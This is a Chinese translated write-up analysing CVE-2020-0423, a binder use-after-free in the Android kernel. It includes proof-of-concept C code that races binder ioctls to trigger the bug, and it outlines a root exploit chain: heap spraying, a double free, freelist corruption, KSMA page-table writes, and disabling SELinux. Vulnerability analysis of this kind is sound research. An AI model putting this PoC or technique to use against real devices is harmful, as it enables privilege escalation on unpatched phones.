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[翻译]CVE-2020-0423 android内核提权漏洞分析
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发表于: 2020-12-25 14:44
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2020年10月公布了bulletin，这是最近新的提权漏洞，存在于binder中。
这个漏洞大致上是binder的sender和receive端的对binder_node结构体的race condition转化为uaf漏洞，作者进一步触发了double free，结合后续巧妙的堆喷分配，利用slub和ksma机制，绕过kalsr和cfi保护，官方给出影响的版本在Android 8-11之间，详细的英文文章请参考这里https://blog.longterm.io/cve-2020-0423.html
其poc触发形式为：
Thread 1: enter binder_release_work from binder_thread_release
Thread 2: binder_update_ref_for_handle() -> binder_dec_node_ilocked()
Thread 2: dec nodeA --> 0 (will free node)
Thread 1: ACQ inner_proc_lock
Thread 2: block on inner_proc_lock
Thread 1: dequeue work (BINDER_WORK_NODE, part of nodeA)
Thread 1: REL inner_proc_lock
Thread 2: ACQ inner_proc_lock
Thread 2: todo list cleanup, but work was already dequeued
Thread 2: free node
Thread 2: REL inner_proc_lock
Thread 1: deref w->type (UAF)
分开来看的话，
Thread 1: enter binder_release_work from binder_thread_release
Thread 1: ACQ inner_proc_lock 获取锁
Thread 1: dequeue work (BINDER_WORK_NODE, part of nodeA) 从链表中摘除binder_work
Thread 1: REL inner_proc_lock 释放锁
Thread 1: deref w->type (UAF) 引用binder_work->type
再来看Thread 2
Thread 2: binder_update_ref_for_handle() -> binder_dec_node_ilocked()
Thread 2: dec nodeA --> 0 (will free node)
Thread 2: block on inner_proc_lock 等待锁被thread释放
Thread 2: ACQ inner_proc_lock 获取锁
Thread 2: todo list cleanup, but work was already dequeued 清空链表
Thread 2: free node 释放binder_node
Thread 2: REL inner_proc_lock 释放锁
可以看到binder_work拿到之后， 但是另一个线程紧接这free掉了它，但后续还直接使用它，造成了uaf。
binder_work又是binder_node的成员
通过patch前后的对比，主要增大了binder_inner_proc_lock(proc);锁的范围。所以这个漏洞也可以说是开发时没有考虑到锁的范围导致的。
poc可以分为三个阶段触发：
所以poc为
作者在Pixel 4设备上Android 10 factory image QQ3A.200805.001 released in August 2020做了尝试。
结合poc来分析为何这样写：
这时候通过binder_ioctl调用binder_thread_release——>binder_release_work(proc, &thread->todo); 从而走到以下这里
当sender线程传送的内容里包括BINDER_TYPE_BINDER或者BINDER_TYPE_WEAK_BINDER，binder_node结构体将会创建，接收端的线程同时会有一个引用（如果这个引用变为0，将会释放binder_node）
这时候会调用binder_translate_binder，最终会走到以下代码,可以看到node->work会进入队列thread->todo链表中。
当binder收到BC_FREE_BUFFER指令时就会调用binder_free_node函数。
注意到也许不用显示的调用BC_FREE_BUFFER时，当binder service一次的transaction的完成时，就会自动用BC_FREE_BUFFER释放发送端的binder_node结构体， 当然也可以寻找ITokenManager service这样的一个服务，充当一个中介，这里面的原理就是有时候不能控制service端，就比如media这样的服务，你无法控制它，毕竟是一个系统service，但是ITokenManager可以让我们既可以控制service端又可以控制client端，如果水滴漏洞采用这样的方式，是不是效率会更高一些。
所以对与binder_node的释放，其实是BC_FREE_BUFFER指令来进行，有的service接收端是自动发送的。
在binder_parse函数中，当回复一个transacton时，service manager要么会call binder_free_buffer，如果是单向(one-way)的transaction，就会调用binder_send_reply
在两种情况下，servicemanager最后都会回复一个BC_FREE_BUFFER，其内核调用流程为
分析好了poc，从而得到内核crash
poc不是难以理解，但exploit我感觉还是挺巧妙的，首先是uaf的漏洞，还是要堆喷, binder_node是128字节大小的cache，这里采用sendmsg和signalfd来做稳定的堆喷， 第一是sendmsg喷完就会马上释放，而在google这篇文章提到signalfd() reallocates the 128-byte heap chunk as an 8-byte allocation and leaves the rest of it uninitialized, signalfd会重新申请128字节大小，这个内容就是刚刚sendmsg释放的，这样就能保证sendmsg的内容能很好的驻留在堆中，signalfd除了用到的几个字段几乎不会改变sendmsg的内容。堆喷可以写成：
堆喷完成，被释放的binder_work显然是用户态通过sendmsg填充的内容，内核代码流程就会继续往下执行：w就是可以是我们喷射的内容，就可以被我们控制，走向任何分支。
总结一下，无论走到任何一个分支，以上代码都会再次free，就会形成doubule free，如果达到最后的kfree，被控制的binder_node里面的字段需要满足一定的条件。但是不同分支会free的位置不一样，
走到BINDER_WORK_TRANSACTION_COMPLETE，就会free+8的位置。
1.到了分支BINDER_WORK_TRANSACTION will free X
2.BINDER_WORK_TRANSACTION_COMPLETE, BINDER_WORK_DEAD_BINDER_AND_CLEAR and BINDER_WORK_CLEAR_DEATH_NOTIFICATION will free X+8
当选择1时 BINDER_WORK_TRANSACTION，会走入binder_cleanup_transaction函数
关键的一点是double free会导致再次申请的两个objec会发生重叠，这是利用的核心，而且如果达到root最新的手机，必须绕过kalsr保护和cfi保护。
核心思想是，既然再次申请的两个object发生重叠，一个包含函数指针，一个能触发读，是不是就可以绕过呢。
signalfd系统调用可以分配128字节的堆cache，它的主要功能是：
通过以上理解，读代码时就简单了
KSMA简单的理解就是向内核页表中写入一项描述符，就可以做到用户态可以随意读写内核了，甚至代码段，拿到root岂不是轻而易举了。
引用一张图就是
这里就不细讲了，如果想理解的话，请参考以上pdf。总之我们想让一个内核地址写入一个描述符，应该怎么利用呢。
利用了内核的堆分配机制slub, slub中有一个字段叫做freelist指针，它指向最新被free的对象。
而第一个对象的首8个字节，会指向第二个被free的对象，以次类推。
当kmalloc分配时， 将会从freelist指向的object取，并且读取这个object的前8个字节赋给新的freelist。
当kfree时，slub会写当前的freelist指针写入到正在被free的object首地址处，并且更新freelist指针指向这个新的被free掉的object。
以上图可以看到kfree(0x1180)后，freelist=0x1180,0x1180的前8个字节=0
kfree(0x1100)后，freelist = 0x1100， 0x1100位置处的前8个字节=0x1180，以此类推。
以上图可以看到kmalloc(0x1000), freelist从0x1000变为0x1100
下一次分配，kmalloc(0x1100)时，freelist取出0x1100的前8个字节的地址变为0x1180，所以从0x1100变为0x1180.
通过此，利用就有了新思路：
1.当double free发生时，再次申请两次会发生重叠。这时候第一次的被free掉，第二次用signalfd函数对喷，并且通过用户态修改前8个字节，就修改了第一次被free掉的object的指针，再几次分配时freelist指针就会从用户态指定的地址去分配了，前提是保证free掉的object必须还在对应的内核虚拟位置。
如果修改slab中的freelist的位置的值，就会分配对象在我们想要的位置：
当修改0x1100位置的前8个字节为0xDEADBEEF时，等分配到kmalloc(0x80)时，freelist=0xDEADBEEF,再次分配就会分配到0xDEADBEEF，这个地址。
通过修改free对象的freelist位置的地址，就可以达到任意地址写入任意值的效果。
如果最终想实现swapper_pg_dir=*B5F00 = 0x00e8000080000751这样的效果，就能够任意patch内核。
但signalfd的限制就是再写入首8个字节处位8和位18总是被置位 即写入的总是b5xxx | 40100 = f5xxx =0x00e8000080000751
为了解决这个问题，作者在内核中找到了ipa_testbus_mem缓冲区，大小为0x198000，并且缓冲区为0。
2.堆喷一次signalfd，然后触发free，通过write调用修改freelist为ipa_testbus_mem | 0x40100， 下一次分配的为地址ipa_testbus_mem | 0x40100，
再通过堆喷eventfd(0, EFD_NONBLOCK)和sendmsg结合，这样eventfd会block住sendmsg，不让堆内容进行释放。
从而eventfd_ctx结构体的地址=ipa_testbus_mem | 0x40100，同时eventfd_ctx+0x20（count的字段）可以被用户态通过write来修改。
就可以把B5F00地址写入count字段，就相当于写入到ipa_testbus_mem | 0x40100+0x20处，
3.这时候free所有的eventfd,并且重新利用free的signalfd设置freelist为ipa_testbus_mem | 0x40100 + 0x20,等再次signalfd分配就会分配到B5F00地址，这样通过write调用写入最终的block描述符了 0x00e8000080000751，即绕过了cfi。
1.关掉selinux
2.patch 这个函数sys_capset来替换成shellcode，
3.以及将init's credentials替换到本进程中即可完成提权。
本漏洞得多次利用race condition来实现每个重要的阶段，如控制w->type来进行double free，由于w是堆喷的对象，通过堆喷一次，再次触发free，形成double free， 接下来进入利用阶段，堆喷sendmsg signalfd，然后走入free分支， 再次堆喷seq_operations，调用read signal来实现读取seq_start的地址，绕过内核随机化保护， 然后又利用double free触发漏洞，结合ksma写入页表一个block描述符，修改freelist指针，由于signalfd的写入限制，所以加入了一个全局buffer作为跳板，再通过sendmsg和eventd的堆喷驻留，最后write写入其count字段，绕过cfi保护，后续的root部分就是常规操作了。
由于文章新出来没几天，也是自己对篇文章的理解，欢迎讨论和指点。
参考
https://blog.longterm.io/cve-2020-0423.html
KSMA: Breaking Android kernel isolation and Rooting with ARM MMU features - ThomasKing
https://i.blackhat.com/briefings/asia/2018/asia-18-WANG-KSMA-Breaking-Android-kernel-isolation-and-Rooting-with-ARM-MMU-features.pdf
Mitigations are attack surface, too - Project Zero
https://googleprojectzero.blogspot.com/2020/02/mitigations-are-attack-surface-too.html
Exploiting CVE-2020-0041: Escaping the Chrome Sandbox - Blue Frost Security
Part 1: https://labs.bluefrostsecurity.de/blog/2020/03/31/cve-2020-0041-part-1-sandbox-escape/
Part 2: https://labs.bluefrostsecurity.de/blog/2020/04/08/cve-2020-0041-part-2-escalating-to-root/
struct binder_node { int debug_id;
spinlock_t lock;
struct binder_work work; //binder_work
union {
struct rb_node rb_node;
struct hlist_node dead_node;
};
struct binder_node { int debug_id;
spinlock_t lock;
struct binder_work work; //binder_work
union {
struct rb_node rb_node;
struct hlist_node dead_node;
};
// Before the patch
static struct binder_work *binder_dequeue_work_head(
struct binder_proc *proc,
struct list_head *list)
{ struct binder_work *w;
binder_inner_proc_lock(proc);
w = binder_dequeue_work_head_ilocked(list);
binder_inner_proc_unlock(proc);
return w;
}static void binder_release_work(struct binder_proc *proc,
struct list_head *list)
{ struct binder_work *w;
while (1) {
w = binder_dequeue_work_head(proc, list);
/*
* From this point on, there is no lock on `proc` anymore
* which means `w` could have been freed in another thread and
* therefore be pointing to dangling memory.
*/
if (!w)
return;
switch (w->type) { /* <--- Use-after-free occurs here */
// [...]
// After the patch
patch后static void binder_release_work(struct binder_proc *proc,
struct list_head *list)
{ struct binder_work *w;
enum binder_work_type wtype;
while (1) {
binder_inner_proc_lock(proc);
/*
* Since the lock on `proc` is held while calling
* `binder_dequeue_work_head_ilocked` and reading the `type` field of
* the resulting `binder_work` stuct, we can be sure its value has not
* been tampered with.
*/
w = binder_dequeue_work_head_ilocked(list); //这里的对binder_work->w加了锁。
wtype = w ? w->type : 0;
binder_inner_proc_unlock(proc);
if (!w)
return;
switch (wtype) { /* <--- Use-after-free not possible anymore */
// [...]
// Before the patch
static struct binder_work *binder_dequeue_work_head(
struct binder_proc *proc,
struct list_head *list)
{ struct binder_work *w;
binder_inner_proc_lock(proc);
w = binder_dequeue_work_head_ilocked(list);
binder_inner_proc_unlock(proc);
return w;
}static void binder_release_work(struct binder_proc *proc,
struct list_head *list)
{ struct binder_work *w;
while (1) {
w = binder_dequeue_work_head(proc, list);
/*
* From this point on, there is no lock on `proc` anymore
* which means `w` could have been freed in another thread and
* therefore be pointing to dangling memory.
*/
if (!w)
return;
switch (w->type) { /* <--- Use-after-free occurs here */
// [...]
// After the patch
patch后static void binder_release_work(struct binder_proc *proc,
struct list_head *list)
{ struct binder_work *w;
enum binder_work_type wtype;
while (1) {
binder_inner_proc_lock(proc);
/*
* Since the lock on `proc` is held while calling
* `binder_dequeue_work_head_ilocked` and reading the `type` field of
* the resulting `binder_work` stuct, we can be sure its value has not
* been tampered with.
*/
w = binder_dequeue_work_head_ilocked(list); //这里的对binder_work->w加了锁。
wtype = w ? w->type : 0;
binder_inner_proc_unlock(proc);
if (!w)
return;
switch (wtype) { /* <--- Use-after-free not possible anymore */
// [...]
/*
* Generates a binder transaction able to trigger the bug
*/
static inline void init_binder_transaction(int nb) {
/*
* Writes `nb` times a BINDER_TYPE_BINDER object in the object buffer
* and updates the offsets in the offset buffer accordingly
*/
for (int i = 0; i < nb; i++) {
struct flat_binder_object *fbo =
(struct flat_binder_object *)((void*)(MEM_ADDR + 0x400LL + i*sizeof(*fbo)));
fbo->hdr.type = BINDER_TYPE_BINDER;//这时候会创建binder_node
fbo->binder = i;
fbo->cookie = i;
uint64_t *offset = (uint64_t *)((void *)(MEM_ADDR + OFFSETS_START + 8LL*i));
*offset = i * sizeof(*fbo);
}
/*
* Binder transaction data referencing the offset and object buffers
*/
struct binder_transaction_data btd2 = {
.flags = TF_ONE_WAY, /* we don't need a reply */
.data_size = 0x28 * nb,
.offsets_size = 8 * nb,
.data.ptr.buffer = MEM_ADDR + 0x400,
.data.ptr.offsets = MEM_ADDR + OFFSETS_START,
};
uint64_t txn_size = sizeof(uint32_t) + sizeof(btd2);
/* Transaction command */
*(uint32_t*)(MEM_ADDR + 0x200) = BC_TRANSACTION;
memcpy((void*)(MEM_ADDR + 0x204), &btd2, sizeof(btd2));
/* Binder write/read structure sent to binder */
struct binder_write_read bwr = {
.write_size = txn_size * (1), // 1 txno
.write_buffer = MEM_ADDR + 0x200
};
memcpy((void*)(MEM_ADDR + 0x100), &bwr, sizeof(bwr));
}void *trigger_thread_func(void *argp) {
unsigned long id = (unsigned long)argp;
int ret = 0;
int binder_fd = -1;
int binder_fd_copy = -1;
// Opening binder device
binder_fd = open("/dev/binder", O_RDWR);
if (binder_fd < 0)
perror("An error occured while opening binder");
for (;;) {
// Refill the memory region with the transaction
init_binder_transaction(1);
// Copying the binder fd
binder_fd_copy = dup(binder_fd);
// Sending the transaction
ret = ioctl(binder_fd_copy, BINDER_WRITE_READ, MEM_ADDR + 0x100); //创建binder_node
if (ret != 0)
debug_printf("BINDER_WRITE_READ did not work: %d", ret);
// Binder thread exit
ret = ioctl(binder_fd_copy, BINDER_THREAD_EXIT, 0);//从thread->todolist中出列，当返回之时，binder_node也会释放。
if (ret != 0)
debug_printf("BINDER_WRITE_EXIT did not work: %d", ret);
// Closing binder device
close(binder_fd_copy);
}
return NULL;
}int main() {
pthread_t trigger_threads[NB_TRIGGER_THREADS];
// Memory region for binder transactions
mmap((void*)MEM_ADDR, MEM_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
// Init random
srand(time(0));
// Get rid of stdout/stderr buffering
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
// Starting trigger threads
debug_print("Starting trigger threads");
for (unsigned long i = 0; i < NB_TRIGGER_THREADS; i++) {
pthread_create(&trigger_threads[i], NULL, trigger_thread_func, (void*)i);//多线程来触发。
}
// Waiting for trigger threads
for (int i = 0; i < NB_TRIGGER_THREADS; i++)
pthread_join(trigger_threads[i], NULL);
return 0;
}/*
* Generates a binder transaction able to trigger the bug
*/
static inline void init_binder_transaction(int nb) {
/*
* Writes `nb` times a BINDER_TYPE_BINDER object in the object buffer
* and updates the offsets in the offset buffer accordingly
*/
for (int i = 0; i < nb; i++) {
struct flat_binder_object *fbo =
(struct flat_binder_object *)((void*)(MEM_ADDR + 0x400LL + i*sizeof(*fbo)));
fbo->hdr.type = BINDER_TYPE_BINDER;//这时候会创建binder_node
fbo->binder = i;
fbo->cookie = i;
uint64_t *offset = (uint64_t *)((void *)(MEM_ADDR + OFFSETS_START + 8LL*i));
*offset = i * sizeof(*fbo);
}
/*
* Binder transaction data referencing the offset and object buffers
*/
struct binder_transaction_data btd2 = {
.flags = TF_ONE_WAY, /* we don't need a reply */
.data_size = 0x28 * nb,
.offsets_size = 8 * nb,
.data.ptr.buffer = MEM_ADDR + 0x400,
.data.ptr.offsets = MEM_ADDR + OFFSETS_START,
};
uint64_t txn_size = sizeof(uint32_t) + sizeof(btd2);
/* Transaction command */
*(uint32_t*)(MEM_ADDR + 0x200) = BC_TRANSACTION;
memcpy((void*)(MEM_ADDR + 0x204), &btd2, sizeof(btd2));
/* Binder write/read structure sent to binder */
struct binder_write_read bwr = {
.write_size = txn_size * (1), // 1 txno
.write_buffer = MEM_ADDR + 0x200
};
memcpy((void*)(MEM_ADDR + 0x100), &bwr, sizeof(bwr));
}void *trigger_thread_func(void *argp) {
unsigned long id = (unsigned long)argp;
int ret = 0;
int binder_fd = -1;
int binder_fd_copy = -1;
// Opening binder device
binder_fd = open("/dev/binder", O_RDWR);
if (binder_fd < 0)
perror("An error occured while opening binder");
for (;;) {
// Refill the memory region with the transaction
init_binder_transaction(1);
// Copying the binder fd
binder_fd_copy = dup(binder_fd);
// Sending the transaction
ret = ioctl(binder_fd_copy, BINDER_WRITE_READ, MEM_ADDR + 0x100); //创建binder_node
if (ret != 0)
debug_printf("BINDER_WRITE_READ did not work: %d", ret);
// Binder thread exit
ret = ioctl(binder_fd_copy, BINDER_THREAD_EXIT, 0);//从thread->todolist中出列，当返回之时，binder_node也会释放。
if (ret != 0)
debug_printf("BINDER_WRITE_EXIT did not work: %d", ret);
// Closing binder device
close(binder_fd_copy);
}
return NULL;
}int main() {
pthread_t trigger_threads[NB_TRIGGER_THREADS];
// Memory region for binder transactions
mmap((void*)MEM_ADDR, MEM_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
// Init random
srand(time(0));
// Get rid of stdout/stderr buffering
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
// Starting trigger threads
debug_print("Starting trigger threads");
for (unsigned long i = 0; i < NB_TRIGGER_THREADS; i++) {
pthread_create(&trigger_threads[i], NULL, trigger_thread_func, (void*)i);//多线程来触发。
}
// Waiting for trigger threads
for (int i = 0; i < NB_TRIGGER_THREADS; i++)
pthread_join(trigger_threads[i], NULL);
return 0;
}// Userland code from the exploit
int binder_fd = open("/dev/binder", O_RDWR);
ioctl(binder_fd, BINDER_THREAD_EXIT, 0)
// Userland code from the exploit
int binder_fd = open("/dev/binder", O_RDWR);
ioctl(binder_fd, BINDER_THREAD_EXIT, 0)
static long binder_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{ // [...]
case BINDER_THREAD_EXIT:
binder_debug(BINDER_DEBUG_THREADS, "%d:%d exit\n",
proc->pid, thread->pid);
binder_thread_release(proc, thread);
thread = NULL;
break;
// [...]
static int binder_thread_release(struct binder_proc *proc,
struct binder_thread *thread)
{ // [...]
binder_release_work(proc, &thread->todo);
binder_thread_dec_tmpref(thread);
return active_transactions;
}static void binder_release_work(struct binder_proc *proc,
struct list_head *list)
{ struct binder_work *w;
while (1) {
w = binder_dequeue_work_head(proc, list); /* dequeues from thread->todo */
if (!w)
return;
// [...]
static long binder_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{ // [...]
case BINDER_THREAD_EXIT:
binder_debug(BINDER_DEBUG_THREADS, "%d:%d exit\n",
proc->pid, thread->pid);
binder_thread_release(proc, thread);
thread = NULL;
break;
// [...]
static int binder_thread_release(struct binder_proc *proc,
struct binder_thread *thread)
{ // [...]
binder_release_work(proc, &thread->todo);
binder_thread_dec_tmpref(thread);
return active_transactions;
}static void binder_release_work(struct binder_proc *proc,
struct list_head *list)
{ struct binder_work *w;
while (1) {
w = binder_dequeue_work_head(proc, list); /* dequeues from thread->todo */
if (!w)
return;
// [...]
static int binder_translate_binder(struct flat_binder_object *fp,
struct binder_transaction *t,
struct binder_thread *thread)
{ // [...]
ret = binder_inc_ref_for_node(target_proc, node,
fp->hdr.type == BINDER_TYPE_BINDER,
&thread->todo, &rdata);
// [...]
}static int binder_inc_ref_for_node(struct binder_proc *proc,
struct binder_node *node,
bool strong,
struct list_head *target_list,
struct binder_ref_data *rdata)
{ // [...]
ret = binder_inc_ref_olocked(ref, strong, target_list);
// [...]
}static int binder_inc_node_nilocked(struct binder_node *node, int strong,
int internal,
struct list_head *target_list)
{ // [...]
if (strong) {
// [...]
if (!node->has_strong_ref && target_list) {
// [...]
binder_enqueue_deferred_thread_work_ilocked(thread,
&node->work); //当对这个node节点是强引用时
}
} else {
// [...]
if (!node->has_weak_ref && list_empty(&node->work.entry)) {
// [...]
binder_enqueue_work_ilocked(&node->work, target_list);//当是弱引用时。
}
}
return 0;
}static int binder_translate_binder(struct flat_binder_object *fp,
struct binder_transaction *t,
struct binder_thread *thread)
{ // [...]
ret = binder_inc_ref_for_node(target_proc, node,
fp->hdr.type == BINDER_TYPE_BINDER,
&thread->todo, &rdata);
// [...]
}static int binder_inc_ref_for_node(struct binder_proc *proc,
struct binder_node *node,
bool strong,
struct list_head *target_list,
struct binder_ref_data *rdata)
{ // [...]
ret = binder_inc_ref_olocked(ref, strong, target_list);
// [...]
}static int binder_inc_node_nilocked(struct binder_node *node, int strong,
int internal,
struct list_head *target_list)
{ // [...]
if (strong) {
// [...]
if (!node->has_strong_ref && target_list) {
// [...]
binder_enqueue_deferred_thread_work_ilocked(thread,
&node->work); //当对这个node节点是强引用时
}
} else {
// [...]
if (!node->has_weak_ref && list_empty(&node->work.entry)) {
// [...]
binder_enqueue_work_ilocked(&node->work, target_list);//当是弱引用时。
}
}
return 0;
}static void binder_free_node(struct binder_node *node)
{ kfree(node);
binder_stats_deleted(BINDER_STAT_NODE);
}static void binder_free_node(struct binder_node *node)
{ kfree(node);
binder_stats_deleted(BINDER_STAT_NODE);
}int binder_parse(struct binder_state *bs, struct binder_io *bio,
uintptr_t ptr, size_t size, binder_handler func)
{ // [...]
switch(cmd) {
// [...]
case BR_TRANSACTION_SEC_CTX:
case BR_TRANSACTION: {
// [...]
if (func) {
// [...]
if (txn.transaction_data.flags & TF_ONE_WAY) {
binder_free_buffer(bs, txn.transaction_data.data.ptr.buffer);
} else {
binder_send_reply(bs, &reply, txn.transaction_data.data.ptr.buffer, res);
}
}
break;
}
// [...]
int binder_parse(struct binder_state *bs, struct binder_io *bio,
uintptr_t ptr, size_t size, binder_handler func)
{ // [...]
switch(cmd) {
// [...]
case BR_TRANSACTION_SEC_CTX:
case BR_TRANSACTION: {
// [...]
if (func) {
// [...]
if (txn.transaction_data.flags & TF_ONE_WAY) {
binder_free_buffer(bs, txn.transaction_data.data.ptr.buffer);
} else {
binder_send_reply(bs, &reply, txn.transaction_data.data.ptr.buffer, res);
}
}
break;
}
// [...]
static int binder_thread_write(struct binder_proc *proc,
struct binder_thread *thread,
binder_uintptr_t binder_buffer, size_t size,
binder_size_t *consumed)
{ // [...]
case BC_FREE_BUFFER: {
// [...]
binder_transaction_buffer_release(proc, buffer, 0, false);
// [...]
}
// [...]
static void binder_transaction_buffer_release(struct binder_proc *proc,
struct binder_buffer *buffer,
binder_size_t failed_at,
bool is_failure)
{ // [...]
switch (hdr->type) {
// [...]
case BINDER_TYPE_HANDLE:
case BINDER_TYPE_WEAK_HANDLE: {
struct flat_binder_object *fp;
struct binder_ref_data rdata;
int ret;
fp = to_flat_binder_object(hdr);
ret = binder_dec_ref_for_handle(proc, fp->handle,
hdr->type == BINDER_TYPE_HANDLE, &rdata);
// [...]
} break;
// [...]
static int binder_update_ref_for_handle(struct binder_proc *proc,
uint32_t desc, bool increment, bool strong,
struct binder_ref_data *rdata)
{ // [...]
if (increment)
ret = binder_inc_ref_olocked(ref, strong, NULL);
else
/*
* Decrements the reference count by one and returns true since it
* dropped to zero
*/
delete_ref = binder_dec_ref_olocked(ref, strong);
// [...]
/* delete_ref is true, the binder node is freed */
if (delete_ref)
binder_free_ref(ref);
return ret;
// [...]
}static void binder_free_ref(struct binder_ref *ref)
{ if (ref->node)
binder_free_node(ref->node);
kfree(ref->death);
kfree(ref);
}static int binder_thread_write(struct binder_proc *proc,
struct binder_thread *thread,
binder_uintptr_t binder_buffer, size_t size,
binder_size_t *consumed)
{ // [...]
case BC_FREE_BUFFER: {
// [...]
binder_transaction_buffer_release(proc, buffer, 0, false);
// [...]
}
// [...]
static void binder_transaction_buffer_release(struct binder_proc *proc,
struct binder_buffer *buffer,
binder_size_t failed_at,
bool is_failure)
{ // [...]
switch (hdr->type) {
// [...]
case BINDER_TYPE_HANDLE:
case BINDER_TYPE_WEAK_HANDLE: {
struct flat_binder_object *fp;
struct binder_ref_data rdata;
int ret;
fp = to_flat_binder_object(hdr);
ret = binder_dec_ref_for_handle(proc, fp->handle,
hdr->type == BINDER_TYPE_HANDLE, &rdata);
// [...]
} break;
// [...]
static int binder_update_ref_for_handle(struct binder_proc *proc,
uint32_t desc, bool increment, bool strong,
struct binder_ref_data *rdata)
{ // [...]
if (increment)
ret = binder_inc_ref_olocked(ref, strong, NULL);
else
/*
* Decrements the reference count by one and returns true since it
* dropped to zero
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